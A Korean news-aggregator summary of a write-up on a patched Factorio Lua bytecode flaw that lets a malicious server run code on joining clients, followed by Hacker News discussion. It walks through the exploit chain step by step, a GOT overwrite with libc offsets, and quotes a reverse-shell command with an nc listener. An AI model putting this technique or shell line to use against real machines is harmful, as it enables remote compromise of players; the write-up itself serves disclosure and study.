2P by GN⁺ | ★ favorite | 댓글 1개
  • Factorio의 Lua 구현 취약점은 악성 서버가 접속 클라이언트에서 임의 코드 실행을 얻을 수 있게 했고, 영향 범위는 이미 패치된 1.1.101 미만 버전임
  • 멀티플레이어가 결정적 lockstep 방식으로 같은 Lua 코드를 실행하는 구조라, 공격자는 악성 커스텀 맵을 통해 네트워크 경로에서 취약점을 유도할 수 있음
  • 문제의 중심에는 base 모듈의 load/loadstring이 허용한 바이트코드 실행과 Factorio 자체 검증기의 Off-By-One, 타입 검증 누락이 있음
  • 익스플로잇은 FORLOOP 타입 혼동으로 주소를 누출한 뒤, upvalue 인덱스 조작으로 LClosureTString을 혼동시켜 가짜 객체와 임의 읽기·쓰기를 구성함
  • Linux RCE는 GOT의 ldexp 주소를 system으로 바꾸고 math.ldexp 호출을 악용했으며, Factorio의 구조체 오프셋과 %a 포맷 차이 때문에 별도 보정이 필요했음

취약점 범위와 Lua 노출 경로

  • Factorio의 Lua 구현 취약점은 악성 서버가 클라이언트에서 임의 코드 실행을 얻을 수 있게 했고, Factorio 1.1.101 미만 버전이 영향을 받음
  • Lua는 Factorio에서 게임 로직, 모드, 커스텀 맵 구현에 사용됨
    • 모드는 게임 내부 또는 Factorio Mods에서 받을 수 있음
    • 모딩 커뮤니티에는 수천 개의 모드가 있고, 일부는 다운로드 수가 50만 회를 넘음
  • 단순히 악성 모드를 직접 설치해야 하는 로컬 공격처럼 보이지만, 멀티플레이어 동기화 방식 때문에 Lua 인터프리터가 네트워크 경로에 노출됨
  • Factorio 멀티플레이어는 결정적 lockstep을 사용함
    • 게임 상태 자체가 아니라 사용자의 입력만 네트워크로 전송함
    • 모든 플레이어의 게임은 매 tick을 동일하게 시뮬레이션해야 함
    • 한 플레이어가 Lua 코드를 실행하면 나머지 플레이어도 동기화를 위해 같은 코드를 실행해야 함
  • 공격자가 Lua 코드를 실행시키는 경로는 두 가지로 정리됨
    • 권한이 있을 때 /c 명령으로 서버에서 Lua 코드 실행
    • Lua 코드가 들어 있는 커스텀 맵을 만들어 클라이언트가 서버 접속 시 실행하게 함
  • 서버 브라우저에 악성 서버를 노출하면 피해자가 맵을 내려받고 Lua 코드를 실행하는 흐름이 만들어질 수 있음

전체 공격 흐름

  • 공격은 Factorio 서버가 악성 맵을 제공하는 형태로 시작함
    • 맵의 시나리오 Lua 코드에 익스플로잇을 포함함
    • 클라이언트가 서버에 접속하면 맵을 다운로드하고 관련 Lua 코드를 실행함
  • 이후 Lua 구현 약점을 이용해 가짜 객체(fake object) 를 구성함
    • 가짜 객체는 메모리 누출과 메모리 손상을 가능하게 함
    • 그 결과 코드 실행으로 이어질 수 있는 여러 프리미티브를 만들 수 있음
  • 동적 언어에서 가짜 객체는 공격자가 강한 제어권을 얻는 핵심 수단임
    • 문자열은 임의 데이터 누출에 사용될 수 있음
    • 배열이나 테이블은 임의 메모리 쓰기에 사용될 수 있음
    • 네이티브 함수 호출 경로가 있으면 실행 흐름 제어로 이어질 수 있음

Lua 바이트코드 실행과 검증기 문제

  • Factorio에 포함된 Lua 모듈은 제한되어 있음
    • debug: 디버그 기능 접근
    • math: 표준 C 수학 인터페이스
    • bit32: 비트 연산
    • string: 문자열 조작
    • table: 테이블 조작
    • base: print 같은 Lua 핵심 함수
  • os.execute 같은 명확히 위험한 모듈은 빠져 있지만, base 모듈의 loadloadstring바이트코드 실행을 허용하므로 공격 표면이 큼
  • Lua는 소스 코드를 먼저 Lua 바이트코드로 컴파일한 뒤 인터프리터에서 실행함
    • 바이트코드는 CPU 기계어가 아니라 Lua 인터프리터만 실행할 수 있는 표현임
    • 바이트코드를 직접 주입할 수 있으면 정상 컴파일러가 만들지 않는 잘못된 바이트코드를 실행할 수 있음
  • Lua 개발자들은 임의 바이트코드 실행 위험을 알고 검증기를 만들었지만, Lua 5.2에서 제거함
    • Lua 메일링리스트에서는 기존 검증기가 반복적으로 우회됐고, 임의 Lua 코드를 실행하는 애플리케이션은 precompiled script를 받지 않는 편이 낫다는 취지가 남아 있음
  • Factorio 개발자는 Lua 5.2.1에 자체 바이트코드 검증기를 구현한 것으로 보임
    • 보호 로직은 코드 밖 점프나 상수 배열 범위 밖 인덱스처럼 명확한 OOB 파라미터를 막는 데 집중됨
    • 일부 opcode 의미 때문에 Off-By-One 문제가 있었고, JMP 0 같은 점프 오프셋 처리에서 코드 블록 밖으로 점프할 수 있었음
    • 상수 영역이 코드 chunk 뒤에 할당될 수 있어, 공격자는 상수 섹션에 바이트코드를 저장하고 off-by-one 점프로 검사를 우회해 실행할 수 있었음

주소 누출: FORLOOP 타입 혼동

  • Lua 내부 객체는 TValue로 표현됨
    • TValue는 값 영역인 Value와 타입을 나타내는 tt_로 구성됨
    • Value는 8바이트 공간이며, 타입에 따라 double 또는 포인터처럼 해석됨
  • Lua 5.2의 숫자는 모두 double로 표현됨
    • 숫자는 포인터를 거치지 않고 Value union 안에 inline으로 저장될 수 있음
    • 문자열 포인터를 숫자처럼 해석하게 만들면 포인터 비트가 double 값으로 노출될 수 있음
  • 일반 Lua에서는 print(function)이 주소를 출력할 수 있지만 Factorio에서는 제거됐고, 문자열 주소도 직접 누출하지 못함
  • 루프 opcode인 FORLOOP는 보통 FORPREP 뒤에 와야 함
    • FORPREP는 시작값, 한계값, step이 숫자인지 확인함
    • FORLOOP 내부에서는 step 파라미터 타입을 검사하지 않으며, lua_assert 기반 검사는 기본 빌드에서 강제되지 않음
  • 공격자는 바이트코드를 조작해 FORPREP를 제거하고 FORLOOP만 실행하게 만들 수 있음
    • 정상 Lua 소스에서 컴파일러가 만들지 않는 상황을 바이트코드로 구성함
    • 문자열 같은 객체를 step 위치에 두면 해당 TValue의 포인터가 double처럼 해석되어 누출됨
  • 누출값은 정상 double이 아니라 포인터 비트를 double로 해석한 값이라 2.1944577826691e-317 같은 작은 값으로 보임
    • IEEE 754 binary64는 부호 1비트, 지수 11비트, mantissa 52비트로 구성됨
    • 포인터 값이 denormalized double처럼 보이면 mantissa에서 원래 값을 복구할 수 있음
  • Lua 5.2에는 pack/unpack과 정수 타입이 없어 변환이 까다로움
    • 처음에는 string.format("%.13a", double)로 mantissa와 exponent를 읽어 포인터를 복원함
    • 예시 누출값은 0x43d6c0 포인터로 복구됐고, 실제 문자열 데이터는 TString 헤더 24바이트 뒤에 위치함

Upvalue 조작과 LClosure 타입 혼동

  • Upvalue는 현재 함수 바깥 스코프의 변수에 접근하는 Lua 메커니즘임
    • 바이트코드의 upvalue 정보에는 인덱스, 이름, 스택 위치 여부, 스택 인덱스가 포함됨
    • 공격자는 바이트코드에 포함된 upvalue 인덱스를 수정할 수 있음
  • upvalue 인덱스를 바꾸면 원래 지역 변수가 아니라 스택의 다른 TValue를 참조할 수 있음
    • 예시에서는 target upvalue 인덱스를 하나 증가시켜 현재 함수의 LClosure를 가리키게 함
    • 조작된 바이트코드는 nil 대신 LClosure: 0x...를 출력함
  • Lua에서 함수의 실제 실행 단위는 PrototypeClosure로 나뉨
    • Proto는 바이트코드, 상수, 소스 라인, upvalue 정보 등 함수 템플릿 역할을 함
    • LClosure는 실행 중 생성되며 Proto와 upvalue 목록을 연결함
  • CLOSURE opcode는 새 Lua closure를 만들고 스택에 올린 뒤 upvalue를 초기화함
    • 지역 변수 3개가 있으면 새 LClosurebase + 3에 놓일 수 있음
    • upvalue 인덱스를 3으로 바꾸면 해당 위치의 LClosure TValue를 잡을 수 있음
  • 내부 함수가 바깥 함수의 LClosure를 문자열로 덮어쓰면, 반환 뒤 Lua가 문자열을 LClosure처럼 사용하려 하며 충돌함
    • OP_RETURN 경로의 타입 검사는 lua_assert에 의존하고 기본 설정에서는 강제되지 않음
    • 결과적으로 현재 실행 frame의 cl이 실제 LClosure가 아니라 공격자가 제어하는 TString을 가리킬 수 있음
  • TStringLClosure의 레이아웃 차이를 이용하면 문자열 사용자 데이터 영역이 Proto *pUpval **upval 위치에 겹침
    • 이 타입 혼동으로 함수 prototype 포인터와 upvalue 배열 포인터를 제어할 수 있음
    • 제어 가능한 메모리 영역을 가리키게 하면 가짜 객체를 만들 수 있음

가짜 객체와 읽기·쓰기 프리미티브

  • 가짜 객체 생성 경로는 크게 두 가지임
    • 가짜 Proto가 가짜 TValue 배열을 가리키게 하는 경로
    • 가짜 UpVal 배열이 가짜 TValue를 가리키게 하는 경로
  • 상수 경로는 padding이 적고 함수에서 상수를 다시 사용할 수 있어 선택됨
    • 가짜 TString
    • 가짜 TString을 가리키는 TValue 배열
    • 가짜 TValue 배열을 가리키는 Proto
    • 가짜 Proto를 가리키는 LClosure
  • 가짜 TString은 길이를 임의로 크게 설정해 읽기 프리미티브로 사용할 수 있음
    • Lua 문자열 데이터는 TString 헤더 뒤에 있다고 가정됨
    • str:sub()로 가짜 문자열이 닿는 범위의 메모리를 읽을 수 있음
    • Lua 문자열 인덱스는 1부터 시작하므로 header 계산에서 1바이트 보정이 필요함
  • 쓰기 프리미티브는 가짜 UpVal이 쓰기 대상 주소의 TValue를 가리키게 만드는 방식임
    • Lua 변수에 숫자를 대입하면 해당 위치에 숫자 TValue가 기록됨
    • 숫자는 TValue의 처음 8바이트에 inline 저장되므로 값 영역을 제어할 수 있음
    • 동시에 다음 8바이트에는 타입 정보가 기록되어 주변 메모리도 손상될 수 있음
  • Lua 숫자가 double이라는 점 때문에 원하는 정수 비트 패턴을 쓰려면 변환이 필요함
    • denormalized double의 최소 단위인 2^-1074를 이용함
    • integer_to_double(integer) = integer * 2^-1074 형태로 정수를 double 표현에 인코딩함

명령 포인터 제어와 ASLR 우회

  • Lua의 Light C Function은 함수 포인터를 TValue 안에 inline으로 저장함
    • 함수 타입은 LUA_TFUNCTION이고, Light C FunctionLUA_TLCF22로 표현됨
    • TValue의 값 영역에 0xdeadbeef, 타입 영역에 22를 넣으면 해당 주소의 함수처럼 호출할 수 있음
  • 가짜 Light C Function을 호출하면 instruction pointer를 제어할 수 있음
    • 예시에서는 RIP0xdeadbeef가 되며 충돌함
    • 이후 ROP chain 같은 실행 흐름 변경 기법으로 이어질 수 있음
  • Light C Function 포인터가 inline 저장된다는 점은 주소 누출에도 유용함
    • Lua 함수들이 light C function으로 구현되어 있으면 주소 누출 프리미티브로 print 같은 함수 주소를 읽을 수 있음
    • 이를 통해 ASLR 우회에 필요한 기준 주소를 계산할 수 있음
  • sandbox된 함수가 바이너리에 남아 있다면, fake function을 해당 주소로 가리켜 호출하는 우회도 가능함

Factorio에 맞춘 보정

  • 초기 테스트는 공식 Lua 인터프리터에서 진행됐지만, Factorio의 Lua 구현은 구조체 레이아웃이 다름
  • Factorio의 GC 객체 CommonHeader에는 previous 포인터가 추가됨
    • 공식 Lua는 next, tt, marked 구조임
    • Factorio는 previous, next, tt, marked 구조로 보임
  • 이 차이로 일부 오프셋이 8바이트씩 밀림
    • TString 헤더는 24바이트가 아니라 32바이트가 됨
    • 문자열 내용 주소 계산과 읽기 프리미티브의 상대 주소 계산을 수정해야 함
    • 가짜 UpVal과 fake closure 계산에서도 추가 포인터를 반영해야 함
  • Factorio에서는 %a 포맷 동작도 공식 Lua 테스트와 달랐음
    • string.format("%.13a", 2.1038461432219e-316)이 예상한 0x0.000000289c130p-1022가 아니라 0xa.2704c00000000p-1052 형태를 냄
    • 이 때문에 문자열 포맷 기반 double 복원이 깨짐
  • 최종 변환은 순수 수치 방식으로 바뀜
    • denormalized 값은 모든 정수가 우측 최하위 비트 기준으로 시작한다고 볼 수 있음
    • double_to_number(double) = double * 2^52 * 2^1022로 누출된 값을 복원함
    • 2^1074는 double로 표현할 수 없어 두 단계 곱셈으로 나눔

Linux RCE: GOT 교체와 math.ldexp

  • Linux에서 선택한 RCE 경로는 ROP chain 대신 GOT 교체를 이용함
    • Lua에서 호출 가능하고 첫 번째 인자를 제어할 수 있는 imported function을 찾음
    • 해당 함수의 GOT 엔트리를 system 주소로 덮음
    • Lua에서 그 함수를 호출해 system(command)처럼 동작하게 만듦
  • Factorio의 제한된 Lua 라이브러리 안에서는 math.ldexp가 적합한 함수로 사용됨
    • 내부적으로 ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))를 호출함
    • GDB 확인에서 두 번째 Lua 인자가 libc 호출의 첫 번째 레지스터 인자 RDI로 전달되는 상황이 확인됨
  • GOT는 heap보다 앞에 있어 기존 가짜 문자열 읽기 프리미티브만으로는 직접 읽기 어려움
    • 읽기 프리미티브는 가짜 문자열 헤더 이후 주소만 읽을 수 있음
    • GOT 앞에 있는 writable segment를 이용해 GOT 이전 위치에 가짜 TString을 구성함
  • 가짜 TString을 GOT 앞에 만들면 libc 함수 주소를 읽어 ASLR을 우회할 수 있음
    • 예시에서는 GOT에서 memcpy 주소를 읽음
    • Fedora 39의 libc 2.38 오프셋으로 libc_base = memcpy - 0x138b80, system = libc_base + 0x2a3b0를 계산함
  • 이후 ldexp GOT 엔트리를 system 주소로 덮음
    • 예시 주소에서는 0x289ef00 위치가 ldexp GOT 엔트리로 사용됨
    • write(0x289ef00, system) 형태로 덮어씀

명령 실행과 최종 원격 셸

  • 처음에는 Lua 문자열에 명령을 저장하고 math.ldexp(0, addr_of(cmd) + 32)로 호출하려 했음
    • 명령은 sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" 형태임
    • 하지만 Lua가 ldexp32비트 파라미터로 호출하면서 문자열 주소 상위 비트가 잘려 실패함
  • 우회책은 이전에 가짜 문자열을 만들 때 사용한 바이너리 writable segment에 명령 문자열을 직접 쓰는 방식임
    • PIE가 활성화되어 있지 않아 메인 바이너리 주소가 충분히 작았음
    • 주소 0x289c150 부근에 명령 문자열을 여러 번의 write()로 기록함
  • math.ldexp(0, 0x289c150) 호출은 GOT 교체 후 system(0x289c150) 호출처럼 동작함
  • 최종 실행 결과는 로컬 nc -lvp 9001 리스너에 연결된 셸로 확인됨
    • 셸 프롬프트는 sh-5.2$
    • whoami 결과는 victim

연습용 챌린지와 참고 자료

댓글과 토론

Hacker News 의견들
  • 예상 밖임
    Lua는 바이트코드를 해석하니, 명령 인자가 의미 있는지 확인할 수 있을 줄 알았음. 예를 들면 Lua가 할당한 메모리를 가리키는지 같은 것들임
    그런데 실제로는 그렇지 않았고, 잘못된 인자를 가진 바이트코드를 넣어도 그대로 실행함. 이후 침해 과정은 거기서 이어짐
    게다가 인터프리터를 고치는 대신 바이트코드를 정적으로 분석하려는 계획인데, 이건 단순한 경우에만 통하는 것으로 보임
    샌드박스 친화적인 인터프리터 언어치고는 꽤 실망스럽고, 입력을 신뢰하지 않도록 인터프리터를 고치는 패치를 받아줄지 궁금함. 성능 저하를 걱정하는 듯하지만, 빠른 선택지가 LuaJIT인 상황에서는 의심스러움

    • “인터프리터가 입력을 신뢰하지 않게 하는 패치”에 대해, Lua 개발자들의 입장은 임의 Lua 코드를 실행하는 프로세스는 소스 코드만 받아야 하고 바이트코드 직접 로딩은 꺼야 한다는 쪽으로 이해함
      이 방식은 신뢰된 바이트코드를 직접 로드할 선택지는 남겨 두면서, 모든 사용자에게 영향을 주는 동적 검사를 인터프리터에 넣지 않아도 되니 합리적으로 보임
    • Lua는 흔한 오해와 달리 실제로는 샌드박스 친화적이지 않음
      Lua는 설계상 종료 보장을 제공하지 않고, 신뢰할 수 없는 프로그램을 강제로 종료시키는 좋은 방법도 없음. 신뢰할 수 없는 Lua 입력을 받는다면 프로그램이 무기한 멈출 수 있다고 봐야 함
      Lua는 인터넷에서 내려받은 코드처럼 최소한의 실사를 거친 준신뢰 입력에는 훌륭함. 코드가 실제로 악성이더라도 피해를 크게 제한하되 완전히 없애지는 못하는 정도임
      JavaScript식으로 완전히 신뢰할 수 없는 입력이 필요하다면 Roblox 포크인 Luau가 맞음: https://luau-lang.org/sandbox
    • 샌드박스 친화적이라고 보기 어렵지 않나
      다른 언어들이 보여줬듯이 바이트코드용 안전한 인터프리터를 만드는 건 단순한 일이 아님. 참조 구현을 단순하게 만드는 절충이기도 함
      제3자 코드 실행에 관해서는 이런 인터프리터 대부분을 신뢰하지 않음. 웹 브라우저가 받는 연구개발 비용과 관심을 생각해도 브라우저조차 겨우 신뢰하는 편임
    • 예상 가능한 일임. 올바른 컴파일러가 실제로 생성한 바이트코드만 실행해야 함. 그렇지 않으면 메모리 안전성 위반이나 샌드박스 탈출이 생기고, 메모리 안전성 위반을 통한 샌드박스 탈출도 가능함
      임의의 기계어 코드를 실행하지 않는 것과 같음
      Luau도 같은 성질을 갖고 있는데, Roblox가 샌드박스 탈출로 늘 고통받는 건 아니지 않나
    • Java, Wasm, BPF는 JIT 컴파일 언어에서도 정적으로 검증 가능한 바이트코드가 가능하다는 걸 보여줌. Lua의 문제는 바이트코드가 안전성을 완전히 검증하는 데 필요한 정보를 제공하지 않는다는 데 있음
  • 이런 부분이 더 명확히 정의되거나 문서화됐으면 함. 어떤 언어가 합리적으로 안전하다고 보장되는지 직접 알아내야 하는 상황임
    예를 들면 정적 코드가 사용자가 직접 실행하는 기본 사례가 있고, Lua를 포함해 보통 언어들이 신경 쓰는 경우임
    또 코드를 업데이트 과정에서 동적으로 받아 실행하되 공식 채널만 쓰는 경우가 있음. 이때는 프로세스를 안전하게 만들면 넘어갈 수 있지만 확실하진 않음
    사용자가 플러그인으로 코드를 추가할 수 있고, 스토어에서 버튼 한 번으로 쉽게 설치할 수 있는 경우도 있음. 플러그인을 검토할 수는 있지만 거의 제대로 안 되므로, 샌드박스가 필요한지 사용자가 조심해야 하는지 따져야 함
    멀티플레이어 게임에서 서버만 플러그인으로 확장되고 클라이언트는 그렇지 않은 경우도 있음. 서버를 여는 게이머들이 여러 플러그인을 적극적으로 시도한다는 점을 고려해야 하고, 플러그인 커뮤니티도 훨씬 위험할 수 있음
    마지막으로 브라우저처럼 서버가 클라이언트에서 임의 코드를 실행할 수 있는 멀티플레이어 게임이 있음. 이 경우 특히 클라이언트 쪽 샌드박스에 매우 조심해야 함. 게이머들은 보안 영향을 생각하지 않고 임의 서버에 들어가기 때문임
    Factorio가 바로 마지막 경우임. 개발자가 이를 평가해야 한다는 데 꼭 반대하는 건 아니지만, 예컨대 Lua의 load 함수가 안전하지 않은 임의 바이트코드를 실행할 수 있다는 사실이 항상 명백하진 않음
    솔직히 Lua 바이트코드가 안전하지 않다는 건 몰랐고, LuaJIT 바이트코드가 안전하지 않다는 건 알고 있었음. 그런데 이 사실은 메일링 리스트나 GitHub 이슈에서 당연한 사실처럼 드문드문 적혀 있는 정도로 보임
    서버가 클라이언트를 멈출 수 있다는 문제도 있음. 무한 루프만 돌리면 됨. 다만 이건 피하기 훨씬 어렵고, 어쩌면 피하려는 게 무의미할 수도 있음

    • 공격자가 제어하는 코드를 실행하는 어떤 방식도 안전하다고 가정하면 안 됨. 명시적으로 안전하다고 밝히고, 그걸 지원하기 위해 Google 수준의 노력을 들인 경우가 아니라면 더욱 그럼
    • Unreal Engine 기반 게임인 Mordhau에는 서버 운영자가 URL을 넣으면 플레이어 접속 시 게임 내 브라우저가 열리는 오늘의 메시지 기능이 있었음
      클라이언트 쪽에서 브라우저를 끄는 옵션은 없었고, 개발자들이 결국 완전히 비활성화한 것으로 아는데 지금 상태는 확실하지 않음
      게임과 게임 엔진이 얼마나 복잡해졌는지 보여줌. 별 이유 없어 보이는 곳에 내장 웹 브라우저가 들어가 있음
    • 먼저 볼 것은 해당 해법이 추측 실행 안전 샌드박스라고 명확히 밝히는지임. 그렇게 하는 곳은 많지 않겠지만 일부는 있고, 거기서부터 판단하면 됨
  • Factorio 뒤에는 정말 좋은 개발팀이 있으니, 이런 문제를 고치려고 최선을 다하고 있다고 믿음. 다만 게임 개발 전반은 창의적 작업의 성격이 강해서 코드 관행이나 보안 같은 것들이 뒤로 밀리는 듯함
    게임 클라이언트와 서버에 제로데이 취약점이 얼마나 숨어 있을지 궁금함

    • 원격 상호작용이 있는 게임은 기본적으로 완전히 안전하지 않다고 보는 편임. Steam과 모든 게임을 어떤 형태로든 샌드박스 안에서 실행하는 게 좋음
      Flatpak이 시작점으로는 도움이 될 수 있음. 컨테이너가 강한 보안 경계는 아니지만, 단순한 익스플로잇은 막을 수 있음
    • 아마 별로 좋지 않을 것임. Xbox, Sony, Nintendo 같은 콘솔 제조사가 왜 임의 서버 IP 접속이나 모드 지원을 허용하지 않는지 생각해보면 됨
      공식 온라인 서비스를 쓰게 만들려는 단순한 사업적 결정만은 아님. 제3자 서버 IP 접속을 막으면 네트워크 코드나 게임 나머지 부분에 심각한 버그가 있어도 절대 악용되지 않음. 모드, 심지어 Lua 같은 “안전한” 모드까지 제한하면 익스플로잇을 더 막을 수 있음
      버그 많은 네트워크 코드는 역사적으로 여러 콘솔의 DRM을 무너뜨린 적이 있음
      익스플로잇뿐 아니라, 콘솔들은 코드가 배포되기 전에 심사를 거치는 걸 자랑으로 삼음. 원격 시스템에서 Lua 실행을 허용하면 승인 이후에도 게임이 개발자 자신에 의해 원격 재구성될 수 있다는 뜻이고, 콘솔 제조사는 아주 면밀한 검토 없이 이를 허용하고 싶어 하지 않음
    • 그래서 게임용 컴퓨터는 따로 두는 게 좋음. 중요한 문서나 업무 자료를 절대 넣지 않는 편이 낫다
      이상적으로는 가상 머신에 격리하는 것이 좋지만, 게임용 가상 머신 설정은 엄청 번거롭고 안티치트를 쓰는 일부 게임에서는 배제될 수 있음
    • 코드 관행이라니? Factorio는 지금까지 본 소프트웨어 중 가장 잘 프로그래밍되고 안정적이며 일관적인 축에 듦
      다른 분야들이 프로그래밍을 잘하는 사람을 절실히 필요로 하는 걸 생각하면, 숙련된 사람들이 게임 분야에서 일하는 게 거의 아쉬울 정도임
  • 일반적으로 프로그램 검증은 Rice 정리 때문만이 아니라 극도로 어려움. 특히 Lua처럼 사소하지 않은 바이트코드 언어에서는 놓치는 지점이 너무 쉽게 생김. Wasm에는 예를 들어 for 루프 개념이 없음
    상류 프로젝트가 너무 어렵다고 이 문제를 포기한 뒤, Factorio 개발자들이 검증기를 고치거나 직접 쓰려 한 건 이상함
    Minetest의 loadstring 함수는 바이트코드를 완전히 금지함: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    Factorio 모드가 원시 Lua 바이트코드를 실행할 능력이 왜 필요한지 궁금함. 필요 없다면 검증기도 필요 없었을 것임
    애초에 네트워크로 내려받은 Lua 코드를 실행하는 건 꽤 위험함. JavaScript 실행 환경은 수십 년 동안 익스플로잇 발견과 수정의 순환을 겪어왔음. Lua도 그런 일이 있지만 규모가 작고 보안을 개선할 인력도 적음
    주된 보호책은 악성 게임 서버를 실행하는 사람이 더 적다는 점일지도 모름

    • Factorio는 이 문제에 대응해 바이트코드 로딩을 비활성화했음. 바이트코드는 Lua 바이트코드를 뱉는 전처리 언어로 모드를 작성하는 등 멋진 일을 가능하게 했지만, 결국 보안 문제가 더 중요했음
      비슷한 보안 이유로 디버그 라이브러리도 거의 전부 모드에서 사용할 수 없게 됨
    • 결국 모든 게임 개발자는 Lua의 loadstring() 함수에서 바이트코드 기능을 제거해야 한다는 걸 힘들게 배우게 됨
      예를 들어 ROBLOX 개발자들이 12년 전에 쓴 글이 있음: https://archive.is/oXPyM
      솔직히 기본값으로 비활성화하는 게 더 나을 것임. 정당한 사용처는 꽤 틈새임
    • Factorio에는 이런 것도 있음: https://mods.factorio.com/mod/Moon_Logic
      게다가 튜링 완전한 환경에서 그냥 실행할 수 없는 소프트웨어를 만드는 건 꽤 제한적임
      어쨌든 강력한 권한 체계를 포함한 인터프리터가 정말 필요함
    • Rice 정리는 여기서 핵심이 아닌 듯함. 첫 번째 필터로는 유용할 수 있음. 이걸 “그냥” 정확히 판정할 수 있다고 믿는다면, Henry Rice가 반세기 전에 그게 불가능하다는 걸 증명해서 박사학위를 받았으니 멈춰야 함
      하지만 실제 요구사항을 만족하는 입력 중 일부만 받아들이겠다고 타협했다면 Rice 정리는 끝임. 이제 불가능한 작업 대신 극도로 어려운 작업만 남음
      실패하더라도, 적어도 불가능한 일이었다는 말은 듣지 않을 테니 위안이 될 수도 있음
      Factorio는 이 길을 가지 말았어야 함
    • Rice 정리는 여기 적용되지 않음. Rice 정리가 쓰는 넓은 의미의 “구문” 정의에서는, 바이트코드에서 검증하려는 것들이 구문에 해당함
  • 완전 초보 질문인데, 게임들은 왜 Lua를 쓰고 예를 들어 게임 상태를 조정하는 API 같은 정의된 인터페이스를 둔 내장 JavaScript를 쓰지 않는지 궁금함
    브라우저 환경 격리에 들어간 훨씬 강한 보강 작업의 이점을 얻을 수 있을 것 같음. 브라우저는 어렵고, 매우 잘 테스트됐고, 자금도 많이 들어간 표적임
    동적 타입 성능 최적화에도 막대한 작업이 들어갔음
    게다가 모드에 UI가 필요하면 캔버스가 있고, DOM 비슷한 모델을 제공한다면 React 같은 것도 잠재적으로 가능함

    • 몇 년 전 해본 기준으로는 대부분의 JavaScript 엔진이 오래됐고 거의 유지보수되지 않으며, 브라우저에서 쓰는 엔진들은 브라우저 우선으로 만들어져서 통합하기 쉽게 설계되지 않았음
      Lua는 통합을 위해 특별히 만들어졌기 때문에 자료도 많고 큰 커뮤니티도 뒷받침함
    • JavaScript 엔진 대부분은 Lua보다 내장하기 훨씬 복잡함. Lua는 생각나는 소프트웨어 중 컴파일이 가장 쉬운 축에 듦
      또 흔한 브라우저 API와 JavaScript를 혼동하고 있음. JavaScript 엔진은 캔버스나 DOM을 제공하지 않음. 예를 들어 V8도 제공하지 않고, 그런 것들은 직접 추가해야 함
  • 보안 개발자는 아니지만 의례적으로 “와, 이거 엄청 인상적이다!”라고 말하고 싶음. 이렇게 복잡한 실패 사례를 추적하려면 얼마나 명확하고 논리적으로 생각해야 하는지 믿기 어려움. 확실히 내 강점은 아니고, 나는 훨씬 더 “아이디어 담당”에 가까움
    내용 면에서는, 이런 이상한 메모리 익스플로잇을 찾는 블로그 글 1만 개를 장착한 AI 소프트웨어 엔지니어 집단이 등장하면 우리는 완전히 끝장날 것 같음
    결국 보안을 위한 완전히 새로운 패러다임, 아니면 적어도 스택 안의 새로운 요소가 필요하다고 봄. 현대의 “신뢰된” 클라이언트나 DB 역할 같은 얘기는 스위스 치즈 구멍을 땜질하는 것처럼 느껴짐
    바라건대 LLM이 관리하는 새로운 스위스 치즈 층을 하나 더 얹을 수 있으면 좋겠음

    • 이미 하는 사람들이 있음. 결과는 아직 유망하지 않음
  • 그러니까, 이건 악용 가능하다고 홍보된 기능인 바이트코드 로딩에 의존하는 익스플로잇을 보여준 것 아닌가? 내가 뭘 놓친 거지?

    • 흥미로운 점은 Lua 개발자들이 바이트코드 검증기에서 얼마나 크게 실패했는지였음. 복잡한 문제가 아니라, jmp 같은 기본 명령을 모델링할 때의 오프바이원 오류나 Lua 인터프리터가 손에 들어오는 모든 걸 명령으로 해석하려는 문제 같은 단순한 것들이었음
      검증기가 건드리지 않는 데이터 섹션까지 해석하려 했음
    • 홍보된 기능이라도, Lua나 바이트코드가 뭔지 모르는 최종 사용자에게 피해를 줄 수 있음
    • 바이트코드 인터프리터에 버그가 있어 loadstring이 비활성화된 환경에서도 임의 바이트코드 실행이 가능할 수 있음
  • 이렇게 유능한 사람들이 좋은 편에 있어서 정말 다행임

    • 타고나게 선하거나 해를 끼치지 않는 사람이 얼마나 많은지를 보여주는 듯함. 영어로 어떤 단어가 맞는지는 모르겠음
      뉴스 매체는 반대로 믿게 만들고, 그런 뉴스의 평균적인 댓글도 그 믿음을 강화하지만, 정말 그렇다면 우리가 누리는 여러 사치와 의료·사회 지원 프로그램이 어떻게 가능하겠음
      세상에 문제가 없다는 뜻은 아니지만, 분명 파괴적인 사람보다 건설적인 사람이 훨씬 많음
      방금 Panama Papers 관련 HN 스레드에서 온 터라 이 생각이 더 앞에 있음. 거기서는 모든 부자가 악하고 모두 기소에서 완전히 벗어났다는 식으로 냉소하는 분위기였지만, 실제로는 둘 다 사실이 아니라고 몇몇 댓글이 잘 짚었음. 다만 스레드를 좀 내려 읽고 냉소에 휩쓸리지 않아야 함
  • Lua 바이트코드는 Lua 소스 코드 파서를 돌릴 자원이 부족한 임베디드 시스템 밖에서는 절대 쓰이면 안 된다고 봄
    보안 취약점 외에 유용해 보이는 유일한 용도는 비공개 소스 프로그램 정도임

  • 내가 놓쳤을 수도 있지만, 뒤쪽은 대충 읽은 걸 인정하자면 글쓴이가 실제로 어떤 완화 조치가 이뤄졌는지 전혀 다루지 않은 듯함. 그 부분을 더 듣고 싶음